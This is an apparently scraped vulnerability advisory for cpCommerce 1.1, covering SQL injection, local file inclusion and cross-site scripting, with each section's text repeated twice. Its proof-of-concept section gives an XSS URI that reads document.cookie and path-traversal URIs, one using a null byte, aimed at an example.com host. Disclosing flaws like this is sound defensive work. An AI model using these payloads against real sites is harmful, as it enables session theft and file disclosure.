cpCommerce Multiple Input Validation Vulnerabilities
BID:28755
Info
cpCommerce Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 28755 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-1908 CVE-2008-1906 |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 13 2008 12:00AM |
| Updated: | Jul 06 2016 02:17PM |
| Credit: | BugReport.IR |
| Vulnerable: |
cpCommerce cpCommerce 1.1 |
| Not Vulnerable: | |
Discussion
cpCommerce Multiple Input Validation Vulnerabilities
cpCommerce is prone to multiple vulnerabilities, including SQL-injection, local file-include, and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
Successful exploits of these vulnerabilities may allow attackers to:
- compromise the application
- access or modify data
- exploit latent vulnerabilities in the underlying database
- view files and execute local scripts in the context of the webserver process
- run arbitrary script code in the browser of an unsuspecting user
These issues affect cpCommerce 1.1.0; other versions may also be vulnerable.
cpCommerce is prone to multiple vulnerabilities, including SQL-injection, local file-include, and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
Successful exploits of these vulnerabilities may allow attackers to:
- compromise the application
- access or modify data
- exploit latent vulnerabilities in the underlying database
- view files and execute local scripts in the context of the webserver process
- run arbitrary script code in the browser of an unsuspecting user
These issues affect cpCommerce 1.1.0; other versions may also be vulnerable.
Exploit / POC
cpCommerce Multiple Input Validation Vulnerabilities
Attackers can use a browser to exploit this issue.
The following proof-of-concept URIs are available:
For the cross-site scripting issue:
http://www.example.com/cpcommerce/calendar.php?obj=view.year&month=2&date=21&year=2008<script>alert(document.cookie)</script>
For the local file-include issues:
http://www.example.com/cpcommerce/?action=language&language=../To%20DO%20LIST.txt
http://www.example.com/cpcommerce/category.php?action=../To%20DO%20LIST.txt%00
Attackers can use a browser to exploit this issue.
The following proof-of-concept URIs are available:
For the cross-site scripting issue:
http://www.example.com/cpcommerce/calendar.php?obj=view.year&month=2&date=21&year=2008<script>alert(document.cookie)</script>
For the local file-include issues:
http://www.example.com/cpcommerce/?action=language&language=../To%20DO%20LIST.txt
http://www.example.com/cpcommerce/category.php?action=../To%20DO%20LIST.txt%00
Solution / Fix
cpCommerce Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].